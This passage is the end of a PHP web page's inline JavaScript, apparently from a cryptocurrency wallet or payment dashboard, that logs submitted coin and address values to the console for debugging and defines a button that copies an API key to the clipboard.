    forms.forEach(form => {
        form.addEventListener('submit', function(e) {
            const addressInput = this.querySelector('input[name="address"]');
            const coinInput = this.querySelector('input[name="coin"]');
            
            // Log the values being submitted (for debugging)
            console.log('Submitting form for coin:', coinInput.value);
            console.log('Address value:', addressInput.value);
        });
    });
});

function copyApiKey() {
    const apiKeyInput = document.getElementById('apiKey');
    apiKeyInput.select();
    document.execCommand('copy');
    
    // Show feedback
    const copyBtn = document.querySelector('.api-key-display .copy-btn');
    const originalIcon = copyBtn.innerHTML;
    copyBtn.innerHTML = '<i class="fas fa-check"></i>';
    setTimeout(() => {
        copyBtn.innerHTML = originalIcon;
    }, 2000);
}
</script>

<?php include("footer.php"); ?> 